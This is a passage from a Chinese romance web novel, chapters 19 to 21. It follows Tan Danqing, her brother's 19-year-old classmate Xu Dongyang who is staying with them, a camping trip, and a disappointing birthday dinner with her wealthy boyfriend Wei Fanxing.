一下楼,正撞上了同样牵着小孙儿下楼的邻居大婶。 “哎哟哎哟,”大婶立刻尖声叫了起来,“哪儿冒出来的年轻人啊,吓着我的小宝了。” 大婶怀里的小家伙,非常配合地嗷嗷哭了两嗓子。 谈小白忙将绪东阳拉开,说:“吴婶,这我同学。” “哦,你同学啊,也一中的?成绩好不好啊?”吴婶打听起来。 “好!贼好!” “嚯……那教教我家小宝奥数咯。”吴婶说。 谈小白像捧梗的,笑着说:“您家小宝十根手指头都数不全啊!怎么学奥数?” “哪里的话哟,你家到底几口人啊?次次见着都不一样哦……” 吴婶的声音被留在楼梯上,绪东阳跟着谈小白往超市走,皱眉问:“经常有人这么说吗?” “说什么?” “说刚刚那种话——你家到底几口人。” “这句话怎么了?”谈小白茫然。 绪东阳说:“你听不懂?她是在说……” 他一时不知怎么跟谈小白解释。 “就说你姐,男女关系混乱,所以家里几口人都不知道。”绪东阳换了一种委婉的方式。 “哦……你说这呀,”谈小白说:“吴婶是嘴巴有点碎,但真没什么坏心眼。她不一定就是这个意思。” 绪东阳不语。 谈小白瞧着他,突然噗嗤笑了一声,说:“你是不是以为很多人会欺负我跟我姐?” 绪东阳没否认。 “好吧,以前我们住筒子楼的时候,是挺多人说,嘴还挺脏,说我姐做的不是正当生意,因为每天送她回来的人都不一样。老天爷啊,那是滴滴司机好不好。” “不过现在不一样了,谈小白爽朗地说:“时代早变了,现*在大家心胸都宽广多了,没人会说闲话。” “绪东阳。”谈小白突然停了下来。 绪东阳转身看他。 谈小白突然对他咧开嘴笑,说:“说真的,你还是第一个,这么护着我姐的人。” * 等谈小白和绪东阳都出去了,谈丹青给何薇打了电话。何薇在电话里也喜笑颜开。她是年轻老师,对学生抱有最大的热情和乐观,“谈小白这次考得的确很不错,进步非常大。这个劲头一定要保持下去,考一本都有可能的。” “一本?”谈丹青不敢想,确认道:“那个一本?” “对,不过一定要把这个势头保持住。” 聊完谈小白的成绩,谈丹青也记着绪东阳,“绪东阳这次考得怎么样?我记得上次好像是年级前十?” 何薇说:“绪东阳现在借住在你这儿吧?” “是。”谈丹青说。 何薇说:“绪东阳……他虽然属于在正常波动范围内,但这次其实是有些退步了。这次考试数学和理科卷难度较低,按理说是他的舒适区,但他并没有完全发挥出来,可能是换了生活环境,还没有适应。” 谈丹青有些意外,握着手机的手指微微收紧。 绪东阳平时话不多,做很多事都是静默无声。她有时候回到家,会看到绪东阳在台灯下刷题的背影——少年弓着的脊背像一张拉满的弓,笔尖在纸上划出的沙沙声,在深夜里清晰得像针掉在地上。 她默认绪东阳和他所表现出来的一样早熟,但其实说起来,他也就是个家里闹矛盾离家出走的小孩儿。他在她这儿住了这么久,他父母甚至都没有问过一声。 “有什么办法吗?”她追问,声音里有不寻常的急切。 何薇说:“像绪东阳这样的尖子生,知识点其实都已经掌握牢固了,所以主要还是个心态问题。心态这个就要看怎么调了。” 对于调整心态,这真涉及到谈丹青的知识盲区。她自己就是个大心脏,主打一个绝不内耗。谈小白和她差不多,成绩吊车尾,天天乐呵呵。所以她真不知道,像绪东阳这样的学神要怎么调整心态。 谈丹青难得上网查起了资料,然后老爷爷看手机一样一行一行学习: “如何调整考生心态?” “家有考生吃什么?” “状元食谱……” 正想着,谈小白和绪东阳提着两大包食材回来。 “开饭开饭!” 小火锅在餐桌中央咕嘟咕嘟冒着泡,红油汤底翻滚着花椒粒,蒸腾的热气模糊了三个人的脸。 谈小白筷子使得像打鼓棒,羊肉片刚变色就被捞走,在蘸料碗里滚一圈就进了嘴,烫得直哈气。 半大小子,吃穷老子。有谈小白和绪东阳两人战斗力果然非凡,买的两大包肉和菜,竟然全都吃完没剩。 吃完后,谈小白下楼倒垃圾,绪东阳在厨房洗碗。谈丹青悄然进去,说:“绪东阳,碗放着吧,让谈小白洗,不用你洗。” “没事,”绪东阳熟练地冲着水,“还剩一个。” “先放着吧,”谈丹青坚持,说:“我有话跟你说。” 绪东阳放下碗,扭头看她。 19 第19章 ◎荒谬◎ 谈丹青倚着厨房门看他。 她在家时习惯将那头乌黑蓬松的长发松松挽起,留几缕碎发垂在耳际。那几缕发丝随着她的呼吸轻轻晃动,像是水墨画里随意勾勒的笔触,慵懒却不凌乱。 “我刚刚给你们何老师打电话了,问了你的成绩。”她开门见山。 绪东放下碗,水珠顺着指缝滴落进水槽。他抬手取下干净白色抹布,默不作声地缓缓将手上的水擦干。 “她跟我说,你这次退步了。” “有点吧。”绪东阳说。 “怎么回事呢?”她的声音越来越近。不知何时,她已经走到了他的身旁,微微倾身,去拿余下的碗,厨房顶灯在她的睫毛下投出一片鸦羽的阴影。 厨房本就狭窄而拥挤,她耳畔发梢的香味飘了过来,是熟悉的橙子香。 “状态没调整好?想着家里的事?”她继续问道。 洗碗槽里的泡沫正在一个个破裂,绪东阳喉结滚动,“没。” 谈丹青等了好一会儿,只等到绪东阳敷衍的一个“没”。 “行,”她笑笑,说:“你不爱说,那就不说,谁没点不想说的事?那你住在我这儿,有没有什么不适应的?” 绪东阳再次摇头。 “那谈小白呢?他有没有影响到你学习?”谈丹青拧大水龙头,冲着碗面上的食物残渣。 “没。” “谢谢你帮谈小白学习,但别把自己给影响到了。”谈丹青说。 她洗着碗,轻轻叹了口气,说:“你第一次来我家里的时候吧,我对你还不了解,你又打了我弟弟,所以当时我的确对你有很大偏见。但现在,” 她抬头看他,他和她站得太近,能看清她眼底映着的自己的倒影。 “我知道你本性不坏,是个好孩子。你跟谈小白一样大,你在我眼里,你就跟谈小白差不多。所以,你有什么难处,尽可以告诉我。” 这番话已足够让绪东阳胸中烧火,没想到谈丹青将冲洗好的碗放上淋水台后,接着又随口问,“家里给的零花钱够吗?” 话音未落,绪东阳猛地抓上了谈丹青的手腕。 掌心的水渍立刻浸透了她袖口的布料,甚至能感觉到他指尖的颤抖。 谈丹青愣了愣,扭头看他。少年人的眼睛在厨房暖光下亮得惊人。 他胸口剧烈起伏着,像是有什么东西要破膛而出。 “够。”他生硬地截断话头,将碗从她手里抽走,然后拧开水龙头至最大,躬身继续冲洗。 谈丹青瞥向绪东阳洗碗的手,他的手上今天又系了一圈白色绷带。那玩意儿就算是防水款,也不能被水这么冲着,看得她眼皮直跳。 “还有,”她将水流关掉,说:“你的手又是怎么回事?我看你手上总有伤。你们何老师也没跟我说,你在学校打架了。” “我练拳弄的。”绪东阳说,将最后一只碗擦干净放好。 绪东阳房间有几只沙包,谈丹青便信以为真。 她拽住绪东阳上身卫衣的袖管,不由分说将他往客厅推。 谈丹青的力道再大也大不到哪儿去,但绪东阳完全没想到她会突然拽自己,一时不备,被她扯得一个踉跄。 “我还真是服你了,那你就轻点打啊!”谈丹青径直将他按到沙发上坐好,俯身,小心翼翼地解开那圈湿透的绷带。肩上的碎发往下掉,刷在了绪东阳的肩上。 指关节处破皮的伤口被水泡得发白,谈丹青短促地倒抽了口气。 “啪!” 她一巴掌就甩在绪东阳肩上。 这一巴掌下去,两个人同时心惊了一瞬。 巴掌打得很响,脆生生的,屋里甚至能听到回音。 绪东阳意外地看着谈丹青。 她手劲实在不大,很用力地甩过来,打在他身上也就像拍了拍,留着手掌细腻的温度,凭空生出了几分暧.昧。 谈丹青完全是看绪东阳这么自己折腾自己心里冒火,但也没想到这一巴掌会闹出这么大动静。 两人四目相对,都安静了好一会儿。 谈丹青转身从茶几下搬医药箱,她背对着他,漂亮的肩胛骨起伏了一会儿,拿出云南白药、酒精和绷带。 “自己涂药。” * 谈丹青向来赏罚分明,考得差,那就一顿乱棒;但考得好,绝对大大有赏。 她赶了两天功,将一批新款提前上架,腾出了一个周末,带谈小白和绪东阳去城郊玩。 郑芳这天也没事儿,问她去哪儿,听说要去野营,忙说:“一起一起。” “你要带你那小男朋友?”谈丹青问。 “行不行嘛。”郑芳撒娇。 “行,人多热闹,也能多买点烤肉。”谈丹青说:“不过我带着小孩儿,你俩可不许当着他们的面做少儿不宜的事。” “嚯,”郑芳嗤笑,说:“还小孩儿,都多大了啊!说不定他俩玩得比你还花。” “停停停。”谈丹青说:“我亲弟啊,你这叫我怎么面对。” 谈丹青将车停在路口,谈小白和绪东阳两人大包小包在路边等她。谈小白滚上后车厢,绪东阳却没上车,而是绕到了驾驶座这一侧。 谈丹青降下车窗,说:“做什么呢?上车啊。” 绪东阳在车窗外俯身,手肘撑着窗沿,说:“我看距离很远。我开吧。” 谈丹青挑眉,“你有驾照?” 绪东阳说:“我19了。” 绪东阳生日月份早,读书比谈小白早了一年,去年就拿到了驾照。 谈丹青笑了起来,说:“想摸方向盘呢?”这个年龄的男生都喜欢车,抵抗不了能摸方向盘的机会。 绪东阳嘴唇动了动,下颌线绷紧又放松。 他不想摸方向盘,但开车出城至少要一个小时,他不想让谈丹青开这么久。可他如果这么说,谈丹青绝对会让他滚的。 “是。” “行。”谈丹青大方地将车让给他,说:“开慢点。” 她以为绪东阳开车会很冲。没想到他车开得倒是很稳,也没有路怒症。 一连开了一个多小时,到野营地点,郑芳和她的小男朋友也到了。附近还有许多年轻人来春游。 “怎么来这儿啊。到处都好脏,”郑芳的男朋友其实只比绪东阳大一岁,今年二十了,但表现得非常矫情,一直两臂抱在胸前,十指不沾阳春水,用嫌弃的眼神看看这儿,看看那儿。 谈丹青跟绪东阳吐槽过,这回于波一开始抱怨,她就跟绪东阳交换了一个只有一起在背后蛐蛐过人才懂的眼神。 “我喜欢去干净的地方,这里真是脏死了。姐姐,我们怎么不去之前那个五星酒店呢?那里还能游泳,姐姐。”于波喋喋不休。 郑芳说:“这里风景很好呀,可以看看风景。” “嘁。”小男朋友达不成自己的目的,立刻垮下一张臭脸,钻进车里玩手机。 郑芳忙追进去哄他,说:“你要是喜欢在五星酒店度假,我们下次就去,好不好嘛。” 两人一走,谈丹青白眼翻上天,小声跟绪东阳吐槽:“要不是因为郑芳喜欢他,他刚摆脸色的时候,我就叫他滚蛋了。” 绪东阳架上帐篷,他半跪在地上,用锤子将铁钉一点点锤进土里。每一次挥锤,衣袖都会滑落一截,露出线条紧实的小臂。 “郑芳姐喜欢他什么呢?”绪东阳无法理解。 “谁知道呢,”谈丹青说,她在一旁搭把手,给绪东阳递锤子和螺丝刀,“可能他长得好看。” “他属于女生喜欢的长相?” “算吧,挺秀气的。”谈丹青说:“然后还嘴甜,会叫姐姐。” 绪东阳浓眉骤然拧紧,冷淡地说:“男人如果真心喜欢谁,绝对叫不出姐姐。” 最后一个词几乎是从牙缝里挤出来的,带着说不清的执拗。 谈丹青低头抖开防水布,帆布在风中猎猎作响。她正要固定边角,突然手一顿—— “等等……”她慢慢直起腰,眯起的眼睛里闪着危险的光。 “绪东阳,”她微抬下巴瞅着绪东阳,“你叫人家郑芳就叫姐,怎么没听你叫我一声姐啊?” 绪东阳帽檐下的阴影,藏住了他深如黑墨的眼睛。他一言不发,转身去调整帐篷支架,金属杆碰撞出清脆的声响。 “小混球一个。”谈丹青轻声笑骂了一句。绪东阳就是不肯甜滋滋地叫她一声姐,但她其实也习惯了。有的人骨头硬,可能一生都说不了几句软话。 营地里都是年轻人,来的时候谁也不认识谁,但互相借把锤子剪刀,送一盒牛奶饼干,就熟悉了。谈小白更是活宝,他有一种独特的天赋,无论和谁混在一起,聊个四五句,就能成穿一条裤子的好兄弟。 “什么!原来你的内衣品牌就是‘丹心’,别开玩笑好不好?!我现在穿的就是!”聊着聊着,隔壁帐篷的女孩儿突然从折叠椅上弹起来,差点打翻啤酒罐。 “这缘分……”谈丹青笑着喝梅子酒,她也万万没想到,出来玩还能遇到老客户。 他们这边笑闹声此起彼伏,隔着烧烤炉冒出的热烟,谈丹青朝绪东阳望了过去。 绪东阳独自坐在烧烤架前,黑色卫衣的兜帽松松罩在鸭舌帽外。他从不主动和谁说话,但只是站在那儿,很快就吸引了不少目光。 几个女孩推搡着走近,“要不要一起玩桌游?” 绪东阳头也没抬,翻动烤肉夹的手指骨节分明。肉片在铁架上滋滋作响,“不用。”他声音很淡,像在拒绝一杯白开水。 那群女孩便悻悻离开。 这些谈丹青都看在眼里。 她回到他们的营地,将绪东阳手中的烤肉夹抽走,新鲜红艳的肉块在铁板上冒出滋滋油响,迅速边缘卷曲,“这儿我盯着,你去跟他们一起玩呀。” “不用。”绪东阳说。 谈丹青忍不住端起了姐姐的架子,“别这么内向,要多走出去,多跟人交流。以后你毕业了工作了,免不了的。” 可绪东阳不接话,另又取了一只烤肉架,在她身旁和她一起烤羊肉和猪扒。 谈丹青劝不动他,也只好随他去了。 烤肉想烤得好吃,其实也挺费心。眼睛要一直盯着架子上的肉块,哪一面烤焦了,就要赶快翻过来。绪东阳心细,做事又有耐心,经了他手的烤肉,每块都烤得金黄,一看就叫人食指大动。 谈丹青本想帮着烤,但对比之下,还是别暴殄天物为好。 于是最后演变成,她守在烤肉架旁,绪东阳烤好一块,她就吃一块。 “还想吃什么?”绪东阳问。 “来个牛肋条!”谈丹青兴致勃勃地点餐。 绪东阳将刚烤好的牛肋条夹出来,细心地剪去边缘多余的脂肪。 “好哇好哇!”谈小白玩够了回来,看到这一幕,鼻子都气歪了。他搡了绪东阳一把,抢过烤肉夹,“看清楚这谁姐了吗,你就喂,边上去边上去,我才是我姐最忠实的仆人。” 绪东阳无奈。 谈丹青也哭笑不得。 可惜谈小白的手艺也不如绪东阳,烤坏了几块,被谈丹青发配边疆——剥蒜。 “太香了吧。”郑芳和于波也从帐篷里出来。 “快来吃饭!”谈丹青招呼道,“都是绪东阳烤的。” 于波一整天什么都没做,吃起饭来倒是积极。他还眼尖手快,将谈丹青给郑芳留的牛排全吃了。谈丹青气得都不想再多看他一眼。 吃得差不多,天色也晚了下去,林子起了白雾,树影幢幢,偶尔传来几声不知名的虫鸣。 谈丹青打算去溪边洗个手,但小溪那头人少,谈丹青一个人过去并不安全。绪东阳放下烤肉夹,说:“我跟你一起去。” 谈丹青说:“嗯,你的手也得洗一洗。” 绪东阳的手摸过碳灰,都弄黑了。 通往溪畔的小径隐没在茂密的灌木丛中,月光只能零碎地漏下来,在凹凸不平的土路上投下斑驳的光影。谈丹青的高帮帆布鞋不时陷进松软的泥土里,每一步都走得小心翼翼,深一脚浅一脚。 绪东阳走在她前面,穿黑色卫衣的身影在夜色中忽明忽暗,他刻意放慢的脚步,每走几步,便停下来等她,这么反复几次。等她再次走到他身前时,他开口说:“你拉着我吧。” 谈丹青“啊”了一声,还未反应过来,就见他弯腰从路边拾起一根笔直的树枝。 树皮已经被雨水冲刷得光滑,在月光下泛着温润的光泽。他利落地折去多余的枝杈,将一端递过来。 “拉着这个。” 夜风拂过灌木丛,沙沙作响。谈丹青盯着那截树枝看了两秒,心中不大愿意,但有东西拉着,的确要安全一点。她慢吞吞地抬起手,刻意隔着袖口握住树枝末端,却还是能感受到另一端传来的,沉稳而克制的力道。 这么走,的确轻快了很多。 “你说,这儿会有蛇吗?”谈丹青警惕地观察脚下的草丛。 “不会。”绪东阳说。 “可你怎么知道呢?”谈丹青抬杠,“我觉得有可能。” “野生蛇很贵。”绪东阳解释。 “好吧……”这里如果有野生蛇,早被附近村民捕走了。在这儿碰到野生蛇,和在地上捡到一百块是一样的概念。谈丹青不由也放下心来。 到了小溪边,谈丹青蹲在青苔斑驳的石板上,掬起一捧水拍在脸上。溪水凉飕飕的,很舒服。 她正享受着,却在静谧的夜色里听到了窸窸窣窣的声音,她心头一紧,不会真的有蛇吧。 她紧张地要回头寻那声音的源头,绪东阳突然两手紧紧捂住了她的耳朵。 “别往那边看。”他沉声说。 温热的手掌毫无预兆地覆上她的双耳,他的掌心干燥温暖,瞬间隔绝了所有声响。 谈丹青能感觉到他俯身时胸膛贴着自己后背的温度,还有他骤然加快的呼吸声喷在自己的面颊上。 月光下,两人的影子在溪水中交叠成一团模糊的轮廓。谈丹青僵在原地,视线被迫固定在绪东阳的脸上。 溪水的潺潺、树叶的沙响、远处的篝火噼啪声——所有的声音都在逐渐消弭无踪,她的世界里,最后只剩下绪东阳的一双眼睛。 那双在初升朗月下愈发幽深的眼睛,瞳孔漆黑如墨,像是能吞噬一切光亮的旋涡。 谈丹青不自觉地屏住了呼吸,恍惚间觉得那双眼中有某种她读不懂的情绪在涌动,炙热又克制,像是冰封下的暗流。 一个近乎荒谬的念头,突然在夜色里冒了出来—— 绪东阳该不会是…… 喜欢她? 20 第20章 ◎过生日什么的最讨厌了。◎ 几分钟后,树下那对男女穿好衣服回去。 夜色如墨,溪畔虫鸣重新响起,绪东阳率先松开了手。 他起身捡起方才引路的木棍,“走吧。”声音比平时低了许多。 “嗯。”谈丹青也好似什么也没发生,伸出的手顿了顿,最终隔着袖口重新攥住。 两人之间隔了一根木棍的距离,像一条心照不宣的楚河汉界。 回去的路上,谈丹青有心事,不再关注路上有没有蛇。 银色的月光将他们的影子投在林中小径上,一长一短,时而交错,时而分离。 绪东阳走在前方,每一步都踩得格外实,好让身后的人不至于踉跄。 望着前方这道年轻山峰一样的背影,谈丹青一时心乱如麻。 她太清楚这个社会对女性的定价规则:青春和美貌。一旦失去了这两点,那么她就不配被看做是女性。她自己就做这门生意,太知道大家对少女感、幼感的追求。 就像于波这种人,他们也认为和姐姐谈恋爱是一件委身人下的事,是为了钱和好处,不得以而为之。他们甚至每天都觉得自己亏了,是屈辱。 她听到过郑芳那些小奶狗在背后怎么说郑芳—— “不想努力了。” “牙口不好,只能吃软的。” “想少走几十年弯路。” 而绪东阳就浸润在这样的环境里长大,怎么可能摆脱掉这种思想观念的影响?他就算早恋,也应该喜欢和自己差不多大,或者更小一点的学妹。 于是她想到了另一种解释——躁动。这个年纪的少年气血旺,很简单的挑逗就能激发出生理性冲动。 这种冲动来得快,但去得会更快,没必要当回事。 木棍另一端传来轻微的震颤,是绪东阳停下脚步等她。她立刻加快了脚步,掐灭在她心中刚刚冒头的荒谬的念头。 返程时,绪东阳还想开车。但这次谈丹青没让他开,“夜路不好开,过去坐着。” 绪东阳卷曲的黑色睫毛在顶灯下闪了闪,最终沉默着钻进副驾驶。 返程的公路像一条黑色缎带,蜿蜒消失在远方的夜色里。 这一晚大家都玩疲了,谈小白本来还会跟她说说话,以免她打瞌睡。但他声音越来越黏糊,最终变成均匀的呼吸声,脑袋随着车身颠簸,一点点歪斜,最后抵上车窗,发出轻微的呼噜声。 只有绪东阳始终保持清醒,专心致志地帮她看着路。 他左手虚搭在车窗上,微凉的暖风灌进来,吹乱了他额前的碎发。 * 好好休整一晚,第二天谈丹青去公司。 郑芳刚跟mcn那边对接完工作,满腹牢骚:“这个姓吕的,真的一点都不靠谱啊。” “怎么呢?”谈丹青问。 “当初我们和他们签合同的时候,他们承诺会给我们推广资源倾斜的,结果到现在,屁都没有!”郑芳停顿下来喝水,继续说:“没有也就算了吧,我们店铺这么多年,也已经有私域流量了。但他今天还对我们这边出的方案指手画脚!说我们品牌审美不行,我的天啊,我们审美不行?” 谈丹青说:“审美不行?” “对!”郑芳更恼火,“他们嫌我们的风格丑!还PUA我,说我们粉丝少,就是因为审美不行。但他们给过来的修改方向都是些什么啊!直男黑丝风。我们是做正经内衣的,不是忄青趣内衣!” 胡小样小心翼翼地插嘴,说:“现在我们按他们提议的风格,已经调整做了一版推广了。评价……特别差……以前的老客户都反应说现在这个风格又土又直男。” “消消气。”谈丹青递给郑芳一杯水,说:“我跟吕力鼎那边再谈谈。”然后又对胡小样说:“保持我们原来的风格,不要再改。” 这时设计公司送来了新logo。 “哇哦!”郑芳看到新的logo设计,眼睛一亮。大红色品牌字样像藤蔓般缠绕着一轮新月,看起来像女人的侧脸。 “总算有点开心事了,新logo真的好看太多!”郑芳终于重新开心起来。 谈丹青也很满意。这事拖了太久,再拖下去,她也心里打鼓。 郑芳兴奋地往前翻设计谈丹青的设计稿,厚厚一大摞,纸页唰唰作响,不由感慨:“你真设计了好多啊……难怪成品这么有格调……” “诶……”她翻到最后一页,忽地停了下来,问:“logo上的侧脸,就是从这张图来的?”她的手指点在绪东阳的简笔画上。 “对。”谈丹青点点头。Logo并没有完全照搬侧脸,像其他品牌一样只取了原图的神韵,和logo融为了一体。 “画得好像啊。”郑芳突然说。 “好像?”谈丹青问:“像什么?” “像你啊!”郑芳哭笑不得。 “我?”谈丹青错愕:“你在骂我吗?这是抽象画啊……” “不是不是!我是说原图!”郑芳举起原图朝谈丹青走来,然后用手指指节,轻轻刮在她的鼻尖上,“就这段鼻梁的弧度,一模一样!你这里也有一个小小的骨节,不过转成logo的时候,把这个骨节给弄没了。” 谈丹青下意识摸自己的鼻骨,她的鼻梁相对女孩来说很挺,在隆起的位置骨骼感很明显,从侧面看的时候,就会有一个小小的骨节。这算是她的特征之一,增加了清冷的感觉。 “和我很像?”谈丹青再次确认道。 “不是像!就是你,我想起来这个侧脸是临摹哪张照片了。”她拿出手机,点开谈小白的朋友圈给她看,“就是这张吧。” 朋友圈背景海报上,她沐浴着金色的夕阳看海,拓出了她的侧脸。 两张侧影放在一起,如同一个模子刻出来。 谈丹青心口咚咚跳了起来。 刚压下去的荒谬的念头,春风吹又生。 世界上哪儿有那么多荒谬的巧合。 说是巧合,不如说是不知如何面对的借口。 * 谈丹青野营租帐篷交押金的时候,是绪东阳办的手续。 当时谈丹青将身份证给了他,他看到了谈丹青的生日,十二月五日。 大名鼎鼎射手座,毫不意外。 从那天后,他就开始给谈丹青物色礼物。他也不知道谈丹青喜欢什么,现在的女生谈恋爱想要什么,他只打算给谈丹青买贵的。死贵死贵的,至少要比魏繁星送的贵。 他每年压岁钱极其可观,打拳俱乐部钱也多,在这方面预算充足。 终于想好买什么后,谈丹青的生日也到了。 这天一早,绪东阳在客厅喝温水,就见谈小白轻手轻脚地从房间钻出来,猫着腰走进客厅。 “做贼呢?”绪东阳端着水杯问。 “嘘……”谈小白说:“今天我姐生日啊……她今天过了生日就二十五了。” “二十五怎么了?” 谈小白瞪了他一眼,“女孩嘛,都会比较介意自己的年龄啊。总之,你今天别招惹她就是了。” 绪东阳说:“你这就是刻板印象。” “跟你说了也说不通。”谈小白说。 “你买了什么礼物?”绪东阳问。 谈小白说:“钱。” 绪东阳:“?” “我姐的生日礼物,就是钱。”谈小白说:“我姐绝对超喜欢。” 绪东阳松了口气。 没想到给他碰对了。 “她还没起么?”绪东阳问。 “我姐啊?”谈小白咬了口鸡蛋,说:“她今天一早就出去了啊。” “去哪儿?” “约会去了吧。” “约会?”绪东阳咬着这两个字问。 谈小白说:“我真不知道……” * 顶级酒店天台,可以俯瞰整座城市。 谈丹青站在这面巨大的落地玻璃幕墙前往外看,看到窗外车流如织。 她是土生土长的江城人,但她二十五年的人生里,却从没有从这个角度看过这座城市。 以前她都是站在狭窄的小巷里,抬头往上看,于是她所能看到的城市,是窄的。天空被划分成一道又一道细窄的条。 现在,她是站在城市的顶端,从上往下看,于是她所能看到的,是尖的,天空之下林立着一座又一座三角形玻璃屋顶,像锥子一样。 魏繁星的身影,突然倒影在她面前的玻璃上。 她回过头,笑着说:“魏总,您这顿饭未免宰太狠了吧。” 魏繁星莞尔,嘴角荡出浅浅的梨涡,“丹青,生日快乐。” 他递来一只精美的礼盒,上面有巨大的Jimmychoologo。 谈丹青惊讶:“你怎么知道今天我生日?” “不难查。”魏繁星说,“打开看看吧。” “谢谢。”谈丹青打开,礼盒里装的是一双精美的银色高跟鞋。 当看到这双鞋,她就已经开始觉得痛了。 鞋跟足足有十厘米,踩上后,脚背会弯成一面弓,模仿女性高超时的脚步状态,是名副其实的足部刑具。 她下意识去看魏繁星脚上的鞋。他穿着黑色真皮皮鞋。这双鞋帅气逼人,而且绝对不会伤脚。 夹在这双高跟鞋中间的,还有一张纸。那是一张收据和发票,抬头是魏繁星的公司。 她太清楚不过魏繁星的逻辑,他需要让她知道,他送的礼物有多昂贵。如果反过来,今天是魏繁星生日,她送出了一份价格不菲的礼物,她也会一样会用这种办法,暗示他礼物的价格。 这没什么不好。 是成年人之间的心照不宣。 “喜欢吗?”魏繁星呷着红酒问。 “很漂亮。”谈丹青说。 这双价值不菲的高跟鞋,看起来就像童话故事里才有的水晶鞋。 “喜欢就好。”魏繁星笑意更深,“那就换上吧。刚好带你去见几个朋友。” 谈丹青俯身换鞋,银色的飘带落在地上。魏繁星竟在她面前俯下身,帮她将那根飘带系紧。 她微怔,看到魏繁星乌黑的发顶。 应该很少人,能从这个角度看魏繁星。 大部分人在他面前,都是低着头。 “走吧。”谈丹青挽上魏繁星的臂弯,和他一同走进包厢。 这双崭新昂贵的人造皮高跟鞋,每一步都是刀锋削她的肉。她已经感觉到皮磨破在流水。但也脱不下来。 进包厢后,魏繁星领着谈丹青认了一圈人。 魏繁星的朋友们听闻魏繁星谈了一个新女朋友,都表现得十分好奇。 “还真是繁星一如既往的口味。” “繁星什么口味?” “漂亮,身材超辣。” “这次也是明星吗?” “不是。” “那是网红?” “也不是,听说是个卖内衣的。” “这次他们谈多久了?” “快一个月了吧。” “这么久?难道繁星真要转型了?”说到这儿,几位公子哥自己都觉得可笑,对视哄堂大笑起来。 很快,有人将魏繁星叫走,只剩谈丹青一个人百无聊赖。 “那位是魏总的前女友。”有一名年轻女孩儿主动告诉她。 谈丹青望了那女人一眼,那女人也在打量她。 “哦。”谈丹青敷衍地应了一声,“那你呢?” “我?” “你也是魏繁星的前女友吗?”谈丹青问。 那女孩儿哈哈笑了起来,说:“你说话还挺直接的,我喜欢。是,我也是。” 谈丹青没多意外,拨了拨酒杯。 “介意?”女孩儿说:“这有什么。” 她又给她指了指一名珠光宝气的女孩儿,“那位是他名义上的未婚妻。” 谈丹青朝那女孩儿看去,她也穿了一双Jimmychoo。 “反正他们以后肯定是要结婚的。”女孩儿说:“不过他出手很大方,不吃亏。” 谈丹青在包厢等了魏繁星将近两个小时,魏繁星一直没有返回。 她想回去,但又觉得不告而别有些不礼貌,便给他发消息:“你在哪儿?” 但魏繁星没回。 她起身出去,叫住一名服务生:“你好,请问你知道魏繁星在哪儿么?” “魏总?” “对。” “他好像有什么事,提前坐车走了。”那服务生说。 “已经走了?”谈丹青意外道。 “是。” “好,谢谢。” 她也拎包离开,坐进车里,她脱掉了脚上这双银色高跟鞋。后脚跟已经磨出了两枚血泡,钻心的疼。她换上自己的鞋,踩下油门。 开车到家后,已经是晚上十一点四十五。 距离她生日结束,只剩最后十五分钟。 她本来就不怎么喜欢过生日。 以前他们没什么钱,没有奶油蛋糕上摇曳的烛火,没有扎着缎带的礼物盒,生日这个特殊的日子,不过是日历上被铅*笔圈出的普通一天。 后来条件好些了,谈小白会偷偷用零花钱给她买巴掌大的小蛋糕。劣质奶油糊满一次性餐盒,她笑着吃完,却在深夜看见谈小白偷偷舔包装盒上残留的奶油印子。 如今那些窘迫都成了往事。可每当生日临近,她还是忘不了这种拮据和不安。 此时此刻后脚跟的痛楚,再次验证了她的观点—— 过生日什么的最讨厌了。 指纹锁解锁提示声在寂静的午夜格外清晰。 谈丹青推开门,预料中的黑暗并未降临……暖黄的落地灯光像一轮小小的月亮,笼罩着沙发前那道挺拔的身影。 她以为谈小白和绪东阳都该睡了。 没想到绪东阳一个人坐在茶几前看电视。 “还没睡?” “嗯,在刷题。”绪东阳说。 20-30 21 第21章 ◎许愿◎ 电视机荧屏溶溶的反射光里,绪东阳的面部轮廓看起来比白日温和。但那双漆黑的眼眸依然冷冽如淬冰,带着少年人不遮不藏的桀骜心劲儿。 他合上面前空白试卷,抬头扫了一眼墙上的钟,问她:“怎么回的这么早?” “别提啦!”谈丹青懒洋洋地打了个哈欠,在玄关口“哒哒”踢掉了脚上的高跟鞋。那双鞋是漂亮又精致,但绝不及她的脚。莹白的脚趾泛着珍珠似的光泽,圆润的指甲盖上点了可爱的红色豆蔻。 “过生日就是烦!” 她在入口穿衣镜前摘头饰、项链和耳坠,各类金属饰品落在托盘里的清脆作响。 “小白呢?”她侧着头问他。 “我去看看。”绪东阳起身时,沙发发出细微的吱呀声。 他走到谈小白的房门前,只推开一道缝,板着脸往里看。 动作像极了老父亲抓小孩儿晚上有没有偷玩手机。 “睡了。” “哦。” 谈丹青觉得这个画面特别好笑。 这大概就是传说中的少年感的爹? 不对,她怎么把自己的辈分给降了…… 在外装了一整天淑女,好不容易回到自己家,懒得继续在绪东阳面前也装。 她没什么形象地小心翼翼抬起右脚,那儿果然已经摩出了血,后跟处洇开一小片暗红,血珠已经凝结成痂。她金鸡独立,往沙发处一跳一跳。 绪东阳过来扶她,她手掌撑在他肌肉紧绷像钢筋的小臂上。 看见她的脚后跟出了血,高跟鞋上也沾了血,绪东阳单薄的嘴唇往下一压,阴阴沉沉地骂道:“你是不是傻缺?” 谈丹青怔了一下,以为自己听错了,她不可思议地瞪着绪东阳,“你刚刚说什么?你骂我什么?” 绪东阳不说话,只是扶着她往沙发走。 “我、听、到、了!”可谈丹青不依不饶,大声喊:“你骂我傻缺!好啊你绪东阳,胆子越来越肥了。还敢骂我???尊老爱幼懂不懂?!”她抬手就要抽他胳膊,但一松开倚着绪东阳手臂的手,身体便站不稳当。想抽他却没发力点,反倒被绪东阳捞住她差点往后倒的腰。 两个人的距离骤然拉近,护着她腰的手,像一道突然升起的护栏,充满了安全感和保护欲。 谈丹青是典型的吃软不吃硬的性格,她才不管绪东阳是过来扶她,狠狠一把用力将他推开,身残志坚地单腿跳到沙发前坐下。 她算是看开了。 绪东阳哪里喜欢她?放屁! 要真喜欢她,能指着她鼻子骂她傻缺。 绪东阳就是个没礼貌的小兔崽子。 她噼里啪啦地从茶几下捞医药箱,翻出两张创口贴,敷衍地往脚后跟贴上,然后又到处找她的小零食,“我饼干呢?还有面包!” “你没吃饭?”绪东阳几乎是横眉冷对,浓黑的眉头拧得更深。微微抿在一起的嘴唇,似乎在费劲地往下咽骂人的脏话。 谈丹青是真的又累又饿,没劲儿跟绪东阳吵,暂时没抓着他的语气不放。 “吃了啊,”谈丹青说:“吃了omakase。” “那是什么?”绪东阳皱着眉问她。 